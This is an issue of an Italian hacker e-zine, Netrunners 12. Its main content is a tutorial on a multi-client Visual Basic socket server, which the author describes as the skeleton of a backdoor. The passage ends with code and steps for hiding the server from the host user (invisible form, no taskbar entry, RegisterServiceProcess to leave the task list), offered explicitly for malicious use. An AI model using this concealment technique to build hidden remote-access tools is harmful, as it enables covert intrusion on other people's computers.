Copy Link
Add to Bookmark
Report
Netrunners 12
_______ __ __________
\ \ _____/ |\______ \__ __ ____ ____ ___________ ______
/ | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/
/ | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \
\____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ >
\/ \/ \/ \/ \/ \/ \/(r)
4 0 4
--------------------------------------------------------------------------
FrOm Spp to tHe NeT
NumEro DoDicI
SpEciAlE HaCk-It 00
--------------------------------------------------------------------------
Sommario:
---------
Editoriale
---------- By Brigante
Hacking, Multisocket, filosofia
e facezie medievali
------------------------------- By Master
Piccola introduzione a Nessus
cos'è, a cosa serve e come funzia
--------------------------------- By Fritz
Digging in the dirt (ovvero
caccia alle API perdute)
--------------------------- By Devil
Un poko poko di reversing
------------------------- By NikDH
Mirc 5.51 - Terza Parte
------------------------- By Darkman
Hacking e disinformazione
------------------------- By Mave
Come scrivere un semplicissimo
portscan in C partendo da zero
------------------------------ By Fritz
-=Nell'attachment=-
IA e dintorni
---------------------- By Elvis
===============================================================================================
Editoriale
--------------
by Brigante
--------------
Bene bene, cari ragazzi.....speravate che non tornassimo più ad angustiarvi con questa insulsa
ed inutile rivista eh?? Bhè....vi è andata male perchè noi siamo ancora qua.
Grandi novità si accavallano in questo numero, che è sempre meglio di quello di ieri e peggio
di quello di domani (Madonna mi sembro il Berlusca).
Innanzitutto si risveglia dal suo stato catatonico il grande Fritz, che ha prodotto ben due
articoli che trovate su questo numero, e non è escluso che ne troviate altri andando avanti.
Sorvolo sull'ormai onnipresente ed onniscente ed onnivoro Master, che anche stavolta ci cattura
coi suoi articoli al limite dell'incerdibile, per segnalare due cose.
Innanzitutto continua senza sosta l'interessantissimo corso su mIRC curato da Darkman.
Inoltre voglio segnalare 3 new entries nel gruppo collaborativo del Netrunner: in primis segnalo
il caro NikDH, l'unico uomo sulla Terra ad avere un fegato ridotto peggio del mio :-)), e che
promette davvero molto bene, ed in secundis il bistrattatissimo ElviS, il quale mi ha stupito
scrivendo un articolo veramente esaustivo sulla IA (che ovviamente tutti voi saprete cos'è), e
del quale, a chi come me è figlio della Fondazione di Asimov, consiglio caldamente la lettura,
ed infine, last but not least, un articolo di Mave sull'etica hacker, della quale non si parla
mai abbastanza e che molti dimenticano stupidamente, senza ricordare che l'unico crimine dell'
hacker è la curiosità.
Ma ora vi lascio tranquillamente tuffare nella lettura di questo emozionantissimo numero 12, e
vi ricordo che per complimenti vari o per numeri di cellulari di lettrici generose, potete
contattarmi all'indirizzo Brigante@spippolatori.com
Per lamentele, insulti, minacce di morte, fatture e malocchi vari invece l'indirizzo cui fare
capo è quello dell'altro prezioso corredattore di Netrunners, ovvero flamer@freemail.it hihihi
:-))))
Ciao belli....e spero di vedervi tutti all'hack-it 00 (okkio ai pulott vi raccomando ;-) )
Sempre vostro
Brigante
SPP Member
===============================================================================================
/------------------------------------------------------------------------------\
| . --=.?-;a1]!gg[3]g$f$[$dJ#&Q#Q#QQ#QQQQQQ$#QQ3#ga&4]$]a13]]+]11;+]=:_: _|
| - -],i -J-j]]1f/*j1&]9[Q&$9#8#Q#QQ | QQ##QQQQ##d&$Q$$&f]$]1{1]f+1]-i- .?- |
| = ~]_{{=]a${]J3f1f$&$98$QQ#QQQQQQ## | QQ#QQQQ#Q#Q#Q$$&f$Q$]ag]]g+-1J]{?a:==_ |
| ]-_a;]]]1+ffff$1a[Q&&$#QQQQQQQ#EGG4W4WW4#B@QQ#QQQQQQ&Q#Q ##1[&4g3/3]]{=)=a;-=|
|]1]1{;]]f313[fQ3QQ#&$QQ##%G4"" """WQQQQQQQ#$9&d$##$&]]f{f{,]+]$={|
|{$]]{g1$&f9$QQQ2#9&Q%Q4" "4QQ#QQ#QQ#8$g&&d9]&g1&1j+g]|
|]$111$&f[Qf#28Q##%QG"_ ,, "@#QQQQQQQ99#Q#$39f3{$]$a|
|{1$1$#fff&Q#Q##%Q8" /#a MB * * * `4QQQQQQQQQQ89&9#$4$[f9|
|Qdg#8$QgQ#6QQ%QQ^ Q#1 ]## Q#_ `QQQQ###Q#QQQQ#&g2#d[|
|6[Q#Q#QQQQQ@%QQ" ##3 I##a ____ ___,,g##_, ____ ,,___ W#QQQ#QQQQQQQQQQ$&&|
|Q#Q#QQQQQQQ#%QC ,##7 W##6 SATOR AREPO TENET OPERA ROTAS. \Q@@QQ#QQQQQQQQQ##$|
|QQ---------QQ@ [#M#_#N#6 /#@ #@ #@_'" Q# /#"_#M B#M7#L WQ@-------------QQ|
|QQQQQG#QQ@@@M@ Q#!#W#Y#6 QB #@ Y##g Q# Q###M" BB " B@B@NQ@@@QQ@#QQQQQ|
|QQQQQQ##QQ#QXQ$ #@ ##B Q# BB #@ 9#@ Q# B#@ _ BB /BWQ@QGQQQQQQQQQQQQ|
|##9QQQQQ#QQ#QQ@a ,#@ Q#@ [#af#a_#B,ggaWB Q# Y#gg##*BB ,NQMQQQ##QG#QQQQQQ#Q|
|##Q#QQQQQQQQ#QQ#g ]#L \B" ]#@ @##W#*@###" QB 9###" QB aNQ#QQQQ#QQQQQQQQQQ2#P|
|2ffQ2$gQ2QQQQQ#QQQ_ ,dM@#QGQQQQQQ#QQQ2Q9#[$|
|[[$YQ#4&QQQ6QQ9QQQQQg_ www.spippolatori.com _p#Q#Q#QQQQQ#QQQQQ8Q$fdJ93|
|3g1Q[9f[SJ#2QQQQQQQQQg,_ master@spippolatori.com ,gMQ#Q#@QQQQQQ#QQ#99Qd[$Qg13?|
|,+'1]$]1f1J9g#QQ&$QQQQQQQBDpqa,,___ ____,aqg@#QQQQGQQQQQQQQgQ#2$134]9a4!]1{|
|=-{]+*]?$]3$1$$39Q99QQQQQQQQQQQQ@Q#Q##@@@@Q@QQGGQQQQQQQQQQQQg9Q##&$94af1]$3]]!g?|
|]ja),+a1{1]4?]$f19$&Q#QQ$QQQQQQQQQ#Q | QQ@#QQQQ#QQQQQQSQQ[Q&[gg$$[$4$(]]g])>]=??|
|=a!:?+?]]]]$\]={Y$d$9#$&$8Q####QQQ#Q | Q#QXQQGQ###QQQ##$#9$a19ga4?$]1]\]{\]=1=? |
| _ `==j]]]]]1+1{-+1${&YJ&S&[QQQQQQ#Q | QQGQQQQQQQQ6Q&Q&99j$3]19-?]j]=]*-??== . -|
| ~-- ----.??1/?a!f4]9]999f8#9$$QQQQQQQQQQ4#&fS[$J1[1[J3!a]a] ?]]=-== -- |
\------------------------------------------------------------------------------/
ESAGERIAMO UNA VOLTA TANTO! ha ha ha
Master - SPP
altrimenti detto il Dr. Divago , ed ora capirete il perche'. :))
PROLOGO:
(dettato esclusivamente da i postumi di un tremendo ascesso auto inciso
con un taglierino per cavettatura elettronica in un momento di follia e in crisi
da acuto dolore .. e in tv c'era pure Emilio Fede! :-\)
Cosa c'e' in questo articolo?
..un apparente caos regna padrone!
..pero' se a qualcuno interessa sapere come costruirsi un server multiutente
in C++ completamente invisibile, immortale e di soli pochi K
..oppure l'equivalente in VB
..o un tool programmabile con script per inviare in maniera stealth mail con
svariati attach in formato uuencode da linea di comando
..o un pistolotto sul metodo di studio
..o una serie allegorica di proverbi medievali
..una lista di giochini idioti degli anno 70
beh .. ha trovato l'articolo giusto! :))
Cominciamo con la parte preferita dalle pornostar ovvero...
L'INTRODUZIONE:
Si potrebbe anche dire che con la scusa dell'hacking ho dato una ulteriore spinta
all'evoluzione del tutorial per il winsock, si .. potremmo anche dire cosi'.
In realta' le cose sono di per se strettamente collegate nel caso ci si trovi a
lavorare di preferenza su un sistema windows, anche perche' ritengo che lo
smanettone classico si evolva in spippolatore nell'esatto momento nel quale
smette di imparare cose fini a se stesse per -imparare- e basta.
Un hacker non e' forse anche questo? .. un individuo che di base conosce tutto
cio' che c'e' da sapere nel suo specifico ramo (e anche oltre); e' quindi un
individuo che in caso di bisogno sa di possedere una -cassetta degli attrezzi-
mentale dentro la quale andare a rovistare per trovare cio' che meglio potrebbe
servire alla sua bisogna. [ Grazie papa' Feynman per la definizione. ]
La strada semplice ed anche quella piu' allettante e' rappresentata dallo studio
mirato al raggiungimento di un determinato obiettivo: A sa poco o nulla del
sistema B .. scopre che per raggiungere la sua meta agognata deve compilare
quel sorgentino in perl ..e giu' a studiare il perl solo per le cose che potrebbero
tornargli utili.
Finito il lavoro scopre che il perl deve contenere determinate locazioni di programmi
sul server .. ma il poveretto non sa cosa siano.. e giu' a studiare anche questa cosa.
Il sistema nell'uno per mille dei casi funziona ed e' decisamente rapido nella sua
esecuzione (dipende ovviamente dalle capacita' cerebrali dell'artista) ma negli
altri 999?? :))
Verrebbe in mente il caso dello sventurato che studiato tutto cio' che poteva
sembrare utile ad un giretto veloce su quel server si accorge dopo un paio di giorni,
su avviso delle forze dell'ordine, che quella particolare opzione proprio l'aveva
dimenticata .. pofferbacco! ..probabilmente c'era sulla pagina del tutorial una macchia
che rendeva proprio quel rigo ileggibile! :)
Diceva Leonardo con grande saggezza e premonizione del futuro:
"Il ragno credendo trovar requie nella buca della chiave trova la morte"
Studiare per studiare, raccogliere, memorizzare, fare propri i concetti generali,
i trucchi e le bizzarrie .. senza tralasciare mai nulla, ricordandosi che la genialita'
e' spesso SERENDIPITY .. ovvero si studia e si sperimenta una determinata cosa
senza un obiettivo preciso finche' ad un certo punto si apre una specie di finestra
al di la della quale si intravede una luce; la luce della -scoperta- che ci mostra
come immediatamente raggiungibile una cosa alla quale non avevamo minimamente pensato.
-Novanta per cento sudore e dieci per cento genialita'- diceva Edison che di scoperte
se ne intendeva! :) .. io vorrei permettermi di correggere minimamente il maestro
con un piu' realistico novantanove per cento di sudore e uno per cento di casualita'.
Sono un pessimista? No anzi .. sono fiducioso nelle capacita' del genere umano.
Per Edison serviva cmq un dieci per cento di genialita' al parto della -scoperta-
mentre io ritengo che chiunque di noi con un novantanove per cento di sudore possa
tranquillamente aspettarsi entro breve il suo meritato uno per cento di felice
casualita' .. la SERENDIPITY e' benevola ma soprattutto molto socialista nel senso
classico del termine .. si autodistribuisce equamente a tutti senza distinzione per
l'estrazione sociale, il sesso, il colore della pella o la religione professata! :))
Purtroppo pero' e' anche una cosa discretamente subdola.
Spesso da vedere alle menti con una limitata -cassetta degli attrezzi- cose
completamente inesistenti o delle quali si potrebbe associare al reale solo una
fugace immagine come un miraggio nel deserto.
A quel punto studiare, studiare, studiare .. non servirebbe piu' a nulla perche'
la genialita' e' anche effimera .. cosi' rapida come se ne ne viene .. cosi' rapida
se ne va lasciandosi alle spalle solo chiacchiericci di comari e rumori di ricerca
in malfornite cassette degli attrezzi.
La cassetta cioe' .. bisognera' sempre cercare di riempirla "prima" e al massimo perche'
quando si presentera' l'occasione sara' bene non farsi trovare impreparati..
ricordandosi che nella maggior parte dei casi avere le chiavi inglesi dal numero 3
al numero 16 significhera' quasi certamente dover poi svitare un bullone del 22 per
riuscire a coronare i propri sforzi. ;-)
Ve beh .. detto questo passiamo agli argomenti tecnici motivi scatenanti di tutta la
tiritera sopra.
GESTIONE MULTIPLA DEI SOCKETS
a. Esempio in VB col trattamento ad Oggetti
server multiutente
b. Esempio in C++ (Borland / VC) con la creazione di nuovi Thread
Server multiutente programmabile
/min-opzioni password, no task list, sweep, ..
LE "MAIL" CHE SERVONO!
La fine..
b. C++ Un tool essenziale - mail con attach in formato uuencode da linea di comando
invio a pacchetti segmentati con script programmabile esterno ed opzione STEALTH
e poi L'inizio..
a. VB - invio complesso di mail secondo le schema MAILTO URL SCHEME - RFC2368
E PER FINIRE..
Finalmente il programma FUNZIONANTE al 100% in VB per il recupero
delle cached password tramite la mpr.dll
La gestione multipla dei socket sia nel caso del caricamento in parallelo di piu'
oggetti complessi di tipo winsock sia nel caso dell'apertura di svariati thread
all'interno dei quali effettuare le stesse operazioni e' necessaria in
moltissimi casi:
1. un server ha solitamente l'esigenza di permettere a molti client l'accesso
alle sue risorse e quindi l'apertura di uno o piu' socket per client permette
il dialogo in linea diretta stabilendo cosi' altrettante connessioni private
dove fornire/sfruttare i servizi collegati.
2. nel caso si volesse costruire un portscan l'uso delle procedure multisock
permetterebbe una velocita' N volte maggiore al controllo porta per porta.
Questo perche' ogni servizio ha un suo tempo specifico di risposta, tempo
che spesso puo' essere regolato a piacere dall'amministratore sulla base di
particolari esigenze.
Ancora piu' importanti sono pero' i tempi di risposta
di porte sulle quali non e' attivo nessun servizio e dove cmq il collegamento
via TCP viene -ricercato- .. in questo caso la risposta di tipo negativo
potrebbe farsi attendere anche per diversi secondi. Assumendo un tempo medio di
risposta di 1 secondo per porta (sicuramente piu' basso dell'equivalente realistico)
per controllare tutto il range di 65535 porte usando il metodo pXp impiegheremmo
la bellezza di quasi 18 ore e mezzo.
Usando invece 100 socks alla volta e quindi verificando 100 porte contemporaneamente
potremmo ridurre il lavoro a poco meno di 11 minuti.
3. volendo costruire un server che ci permetta in contemporanea di offrire piu'
servizi con lo stesso client volendo separare ogni collegamento per attivita'
specifica (dialogo, invio file, chat privata, chat pubblica, redirector, ecc..)
servirebbero ancora N sockets .. 1 per servizio.
4. ...
Insomma i casi sono davvero molti. ;-)
Ma come si usa il multisock o il multithread ?
Il principio fondamentale e' lo stesso del sock singolo o del thread singolo.
Nel caso del VB o del C++ in modalita' application l'apertura dei Thread e la
creazione dei processi relativi ad ogni sock che vorremo utilizzare e' facilitata
dalle macro librerie ocx dedicate e dalla struttura stessa del compilatore visual
che ci permette di caricare in memoria piu' oggetti con un comando LOAD like senza
doverci preoccupare di fare altro.
La stessa cosa altrimenti dovrebbe essere fatta a mano usando le API di sistema
CreateThread, _beginthread, ecc.. queste procedure sono invece praticamente
d'obbligo sul c++ in modalita' consolle o sul VB in modalita' "oggi mi va di
complicarmi la vita" :)
Qual'e' il sistema piu' semplice? Qual'e' il migliore?
Mah .. senza neanche andare su i vecchi discorsi del bisogno meno delle run time library
o sulle dimensioni specifiche dei programmi si potrebbe dire che dipende sempre dai vari
bisogni di chi opera.
La gestione visual e' sicuramente piu' comoda e semplice nel caso si voglia completare
una applicazione in tempi rapidi e con una discreta interfaccia grafica.
La gestione dei Thread usando le API di sistema e' cmq altrettanto semplice
(una volta presa la mano) e a fronte di una difficile implementazione di fronzoli
grafici permette pero' una gestione a piu' basso livello di tutta la cosa.
La gestione visual permette l'uso e il controllo di vari EVENTI di sistema senza
doversi scrivere delle procedure apposite, la gestione dei Thread nella stragrande
maggioranza dei casi utili permette di costruire l'ossatura funzionante delle proprie
applicazioni in modalita' consolle con solo poche righe di codice.
Ad ogni buon conto .. cominciamo col VISUAL prendendo il VB a modello.
La prima operazione indispensabile da fare e' quella (come sempre) di caricare sul
proprio form il controllo winsock.
Indifferentemente il Netmanage Winsock (intranet activex 6.02) winsck.ocx o il
Microsoft Winsock Control mswinsck.ocx anche se io ho una netta preferenza per il
primo. :)
//----------------------------------------------------
Molti hanno / hanno avuto ed avranno problemi con l'uso di questi componenti.
Il tutto e' da far risalire alla poca compatibilita' delle nuove versioni di VB con
le precedenti + una comprovata ostilita' di certi tools di Office (Access tanto per
fare un esempio) con i confratelli della stessa famiglia.
E' risaputo che installare un VB5 su un VB4 e' cosa alquanto deleteria per quest'ultimo
stessa cosa per diverse versioni di VB dopo la 5 su HD differenti nello stesso computer.
In generale pero' i problemi si hanno nei seguenti casi:
1. il winsck.ocx non risulta avere una corretta licenza a corredo.
In questo caso il problema e' da attribuirsi quasi esclusivamente al fatto che
si e' trovato questo componente da qualche parte in rete e si e' cercato di
registrarlo semplicemente con REGSRV32.EXE .. non funziona!
Per averlo installato e registrato correttamente occorre cercarsi in rete e
scaricarsi gli INTRANET ACTIVEX 6.02 (activex602.zip)
Si possono trovare ad esempio nella sezione supporti per windows sul nuovo sito
di PacketStorm : http://www.securify.com/PacketStorm/
2. Alcuni componenti Microsoft non risultano dotati di regolare licenza pur avendo
installato una versione regolarmente acquistata (tramite i Twilight! :)) ) del
VB. Cosa spesso associata alla perdita delle licenze di Access.
Nel caso (E SOLO IN QUESTO CASO) si abbia installato VB5 e/o Access 97 e' possibile
scaricarsi da www.spippolatori.com il mio programma MANOSANTA che risolve una
volta per tutti questi problemi. :)
//----------------------------------------------------
Si carica il componente sul form dicevamo .. e allora? cosa c'e' di diverso? :)
C'e' di diverso che occorre settare l'index del componente a 0 nelle proprieta' dello
stesso.
Questo indica al VB che vogliamo usare un vettore di oggetti winsock in parallelo.
Ogni sock sara' caricato col comando LOAD.
Se ad esempio avremo usato il Microsoft winsock che di default ha come nome
Winsock1 c troveremo con una serie di oggetti winsock1(0), winsock1(1), ecc..
[ stessa cosa per il Netmanage TCP1(0), TCP1(1), TCP1(2), ecc... ]
E' possibile a quest punto optare per due soluzioni:
1. Caricarsi all'apertura del programma TUTTI i sock che ci servono
2. Caricare un sock alla volta nel momento specifico del bisogno.
I vantaggi/svantaggi dipendono ancora dal programma che vorremmo fare.
Nel caso uno si ha una maggiore occupazione di memoria ma dato che nessuno usera' mai
questo sistema con un Sinclair ZX-81 non credo che poi la cosa sia tanto rilevante. :)
E' semmai importante ricordarsi SEMPRE di scaricare gli oggetti winsock, caricati con
LOAD alla chiusura del programma, col comando UNLOAD perche' il VB ha la drammatica
tendenza a tenere occupate perennemente le risorse se cio' venisse omesso.
Alla seconda o terza prova di sperimentazione potremmo trovarci con un programmino
da pochi K che ha invaso in maniera massiccia i 256M di ram del nostro beneamato
computer. :)
Caricarsi tutti i sock che ci servono e' la scelta piu' semplice..
volendo caricare 100 socks diversi potremmo semplicemente dire
FOR n=1 to 100
LOAD Winsock1(n)
NEXT n
La gestione separata di ogni sock verra facilitata da alcuni fatti importanti
IL VB non cambia minimamente le procedure operative e gli eventi relativi al sock
singolo .. aggiungera' solo un indice (INDEX) necessario sia caso dei controlli e
della ricezione che in quello dell'invio dei dati per sapere/stabilire la
linea di connessione dalla_quale_ricerverli/sulla_quale_inviarli.
Esempio ..
Sock singolo (controllo mswinsck.ocx)
...
Private Sub TCP1_Close()
...
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
...
Socks multipli
...
Private Sub TCP1_Close(Index As Integer)
...
Private Sub TCP1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
...
Unica cosa importante da valutare e' lo stato di ogni sock aperto.
Cosa questo assolutamente poco importante nei programmi a sock singolo diventa in
questo caso di primaria importanza.
Perche'?
Consideriamo l'esempio del portscan citato all'inizio:
Vogliamo controllare 65535 porte diverse usando 100 sockets alla volta.
Ovviamente il nostro compilatore (e il nostro computer, e la nostra rete,ecc.. ) per
motivi facili da capire non ci permettera' di aprire piu' di tanti sockets
contemporaneamente.
di certo sappiamo che gia' 300 potrebbero essere una scelta proibitiva per macchine
limitate di memoria e soprattutto una scelta assurda per utenti in rete con una
banda ristretta.
Ogni socket pero' dopo la scansione di una porta potrebbe essere riutilizzato per
la lettura di un'altra porta.
nasce qui l'esigenza di controllare lo stato di attivita' di ogni linea di collegamento
per sapere la disponibilita' dell'oggetto gestore in locale della stessa.
I due controlli winsock ci forniscono diverse possibilita' di controllo tramite la
proprieta' State
winsock1(..).State = XXX
dove XXX puo' essere un numero da 0 a 9 rappresentante i seguenti stati
[come da help vb]
sckClosed 0 Impostazione predefinita. Chiuso
sckOpen 1 Aperto
sckListening 2 In attesa
sckConnectionPending 3 Connessione in sospeso
sckResolvingHost 4 Risoluzione dell'host in corso
sckHostResolved 5 Host risolto
sckConnecting 6 Connessione in corso
sckConnected 7 Connesso
sckClosing 8 Il client sta chiudendo la connessione
sckError 9 Errore
Ovviamente nel caso in socket in stato 0 potremmo agevolmente riutilizzarlo per altri
lavori di fatica, nel caso di un socket in stato 9 o alla peggio anche 7 potremmo
sempre disconnetterlo per utilizzarlo per altri versi. :)
Un esempio pratico serve piu' di mille parole:
Un piccolo server multiutente (praticamente la base di una backdoor in VB) che permette
il collegamento a se di N utenti.
permette inoltre di gestire (dal server) l'invio di testo verso un utente singolo o di
di un gruppo di utenti selezionati.
E' praticamente quasi lo stesso sorgente presentato nei tutorial precedenti sul
winsock con alcune differenziazioni:
Il programma funziona caricandosi in memoria un socket tutte le volte che un client
richiede una connessione.
Nel caso un client chiuda la stessa per motivi vari il controllo non viene scaricato
ma mantenuto in memoria nello stato chiuso in attesa della connessione di un altro
client .. nel caso questo avvenga i sock in memoria e in stato "chiuso" sono
privilegiati rispetto al caricamento di un nuovo oggetto winsock.
Il prog commentato:
(nel file allegato PRGMST.ZIP trovate il sorgente completo)
==========================================================================================
'////////////////////////////////////////////////////////////////////////////////////////
Private socket As Integer
Private attivo As Boolean
Private viene As Integer
'////////////////////////////////////////////////////////////////////////////////////////
' Procedure per inviare su richiesta un astringa di testo a tutti i client selezionati
' nella listbox. Ogni client viene identificato come ID col rispettivo numero di socket
' aperto e nella listbox figurano solo i socket in collegamento attivo.
' Un ciclo controlla i socket presenti nella listbox e provvede all'invio del testo
' col metodo SendData.
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub Command1_Click()
a$ = Text3 + vbCrLf
For n = 0 To List1.ListCount - 1
If List1.Selected(n) = True Then
TCP1(List1.List(n)).SendData a$
' il delay e' utile solo nel caso si facciano delle prove
' in locale (127.0.0.1) con piu' client per garantire la visualizzazione
' completa delle stringhe inviate dal server
' infatti il rapido invio di dati su piu' sockets aperti sulla stessa
' macchina fa si che le informazioni di visualizzazione delle consolles
' vengano sormontate. I dati sono stati comunque ricevuti ma non vengono
' visualizzati se non dopo uno specifico invio di altri dati alla
' consolle selezionata.
' --------------------------------------------------------
s = Timer: p = 1 '''''''''''''''''''''''''''''''
Do While Timer < s + p '''''''''''''''''''''''''''''''
DoEvents '''''''''''''''''''''''''''''''
Loop '''''''''''''''''''''''''''''''
' --------------------------------------------------------
End If
Next n
Text3.SelStart = 0
Text3.SelLength = Len(Text3)
Text3.SetFocus
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Procedura di attivazione del server.
' La porta citata nella LocalPort sara' anche il servizio a cui i vari client dovranno
' fare riferimento
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub Command2_Click()
On Local Error Resume Next
TCP1Close socket
TCP1(socket).LocalPort = Text4
TCP1(socket).RemotePort = 0
TCP1(socket).Listen
Command2.Caption = "* IN ASCOLTO *"
Command2.Enabled = False
Text4.Enabled = False
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' All'uscita dalla applicazione tutti i sockets vengono regolarmente chiusi
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub Form_Unload(Cancel As Integer)
Dim n As Integer
For n = 0 To socket
TCP1Close n
Next
' da aggiungere nel caso il completo UNLOAD dei controlli winsock
' for .. UNLOAD Winsock1(n) .. next //
' e' da tenere presente che mentre per il controllo MSWinck.ocx non ci
' sono problemi per il NETMANAGE winsock bisogna prima verificare di
' aver caricato un aggiornamento del WINSCK.OCX non troppo vecchio.
' Nella stessa versione degli intranet activex 6.02 ci trovano
' almeno 6 differenti aggiornamenti del winsck.ocx ed e' possibile
' controllare la versione o con un hex editor o con un editor resources.
' Un winsock netmanage in versione precendente alla 1.12 causa un
' errore nel VB quando piu' moduli vendono UNLOADati in rapida sequenza,
' in questo caso e' necessario inframmettere nel ciclo una linea di
' ritardo tra un UNLOAD e l'altro di almeno 500msec.
'
' Altro tipico problema del Winsock Netmanage (a fronte di tanti vantaggi
' quali ad esempio il maggior numero di eventi e metodi di base) e' che
' all'uscita del programma le connessioni DEVONO essere tutte chiuse pena
' una uscita del programma con messaggio d'errore.
' Bisogna allora ricordarsi (ma dovrebbe essere fatto in ogni caso) di
' chiudere tutti i controlli winsock aperti anche nell'evento form_TERMINATE
' o form_CLOSE.
'
End Sub
Private Sub TCP1_Error(Index As Integer, ByVal Number As Integer, _
Description As String, ByVal Scode As Long, ByVal Source As String, _
ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
visualizza vbCrLf + "Errore : " & Description
TCP1Close Index
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Procedura per inviare parallelamente a tutti i sock i tasti premuti sul server
' all'interno di una determinata textbox
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub Text2_KeyPress(KeyAscii As Integer)
Dim text As String
On Local Error Resume Next
text = Text2
'-----------------------------------------------------------
' nel ciclo che segue ho optato per un controllo "piu' semplice" (!?)
' di quello che in effetti servirebbe per effettuare le verifiche
' sulla lista sei socket aperti.
' [ se non piu' semplice diciamo pero' piu' chiaro per la mente
' di uno che non ha mai usato questo tipo di procedure :)) speriamo! ]
' 30 e' nel nostro caso il numero
' massimo di connessioni che e' possibile aprire.. il numero e'
' aumentabile a piacere sempre tenendo presente che piu' di tanti controlli
' non e' possibile caricare e che cqm piu' di tante connessioni non e'
' possibile aprire. :)
' In effetti sarebbe servita piu' una cosa dinamica di questo tipo:
' ...
' For Each S In TCP1
' If (S.State = sckClosed Or S.State = sckError) Then
' attivo = True
' End If
' Next
'
'-----------------------------------------------------------
For n = 0 To 30
If TCP1(n).State = 7 Then attivo = True
Next n
If attivo = False Then
visualizza "Nessun sock attivo"
Else
visualizza text
For n = 0 To 30
If TCP1(n).State = 7 Then TCP1(n).SendData text
If KeyAscii = 13 Or KeyAscii = 10 Then TCP1(n).SendData vbCrLf
Next n
End If
If KeyAscii = 13 Or KeyAscii = 10 Then visualizza vbCrLf
Text2 = ""
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Controllo periodico sullo stato dei sockets aperti per poterne dare confermo sul form
' di visualizzazione
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub Timer1_Timer()
text = ""
For n = 0 To socket
text = text + CStr(n) + ":" + CStr(TCP1(n).State) + ","
Next n
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Connessione effettuata:
' Il server da conferma a se di questo chiamando l'IP dell'host remoto
' ed iviando allo stesso un messaggio di conferma
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub TCP1_Connect(Index As Integer)
Dim text As String
On Local Error Resume Next
visualizza "Sock " + CStr(Index) + " attivo sull'IP : " & TCP1(Index).RemoteHostIP
attivo = True
text = "Siamo collegati"
TCP1(Index).SendData text
Call riempilista
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Procedure per l'attribuzione di un nuovo socker o di un socket chiuso ad un client
' che tenti di collegarsi.
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub TCP1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Local Error Resume Next
'------------------------------------------------------------
'Controlla se esiste almeno un socket tra quelli gia' aperti
'in stato CHIUSO .. se si lo usa per la nuova connessione
'-----------------------------------------------------------
attiva = -1
For n = 0 To socket
If TCP1(n).State = 0 Then
attiva = n
Exit For
End If
Next
'-----------------------------------------------------------
' Nel caso non ci sia nessun socket caricato e in stato
' chiuso ne viene creato un altro nuovo.
'-----------------------------------------------------------
If attiva < 0 Then
socket = socket + 1
attiva = socket
End If
Load TCP1(attiva)
visualizza vbCrLf + "attivata connessione"
TCP1(attiva).Accept requestID
attivo = True
Call riempilista
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Riceve i dati in arrivo dai vari client identificati dal parametro Index
' nel nostro caso INDEX == Numero di socket usato!
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub TCP1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Local Error Resume Next
If viene <> Index Then
visualizza vbCrLf + "S(" + CStr(Index) + ")" + " > "
viene = Index
End If
Dim text As String
TCP1(Index).GetData text
If (Right$(text, 1) = Chr$(10) Or Right$(text, 1) = Chr$(13)) And _
Right$(text, 2) <> vbCrLf Then
text = Left$(text, Len(text) - 1) + vbCrLf
End If
visualizza text
End Sub
Private Sub TCP1_Close(Index As Integer)
TCP1Close Index
End Sub
Private Sub TCP1Close(Index As Integer)
On Local Error Resume Next
If TCP1(Index).State <> 0 Then TCP1(Index).Close
attivo = False
Call riempilista
End Sub
Private Sub visualizza(text As String)
On Local Error Resume Next
Text1 = Right(Text1 & text, 32000)
Text1.SelStart = Len(Text1)
End Sub
'////////////////////////////////////////////////////////////////////////////////////////
' Crea la listbox con tutti i socket trovati in stato -connesso-
'////////////////////////////////////////////////////////////////////////////////////////
Private Sub riempilista()
List1.Clear
For n = 1 To 30
If TCP1(n).State = 7 Then List1.AddItem n
Next n
End Sub
==========================================================================================
Ok. Il programma sopra riportato (e del quale avevamo gia' discusso nei precedenti numeri
del tutorial winsock e' gia di per se la base di quello che serve per un completo server
autonomo multiutente.. sia esso una backdoor o ad esempio un servizio di sendmail per
i propri clienti, ecc..
Si potrebbe dire che abbiamo implementato l'ossatura del programma attraverso la quale
con nostre procedure dedicate passare poi alle connotazioni specifiche del servizio
(o del disservizio) che vorremo offrire. :)
Nel caso di usi -maliziosi- della cosa ci mancherebbe soltanto la possibilita' di
rendere invisibile il server alla macchina ospite.
Come gia' detto cio' e' facilmente praticabile tramite tre semplici procedure
operative di base.
1. Ponendo in modalita FALSE la proprieta' VISIBLE del form generale del server.
2. MEttendo in modalita' TRUE per lo stesso form la proprieta' NOTASKBAR
3 Eliminando il processo dalla Task List dichiarando l'intero server come
SERVICE tramite queste poche righe:
'----------------------------------------------------------------------
Public Declare Function RegisterServiceProcess _
Lib "kernel32" _
( ByVal dwProcessID As Long, _
ByVal dwType As Long _
) As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
nascondi=RegisterServiceProcess(GetCurrentProcessId(), 1)
'----------------------------------------------------------------------
Peccato che in VB manchi la possibilita' di fare una cosa SIMPATICA come
sul c++ :))
In C le API sono funzioni di base .. cioe' praticamente sono le funzioni
con le quali il c++ opera. Alcune di queste non volutamente -dimenticate-
dal compilatore per motivi vari.
Tra le dimenticate spicca RegisterServiceProcess.. quindi per usarla e'
necessario fari riferimento alla sua locazione specifica all'interno della
libreria kernel32.dll.
es:
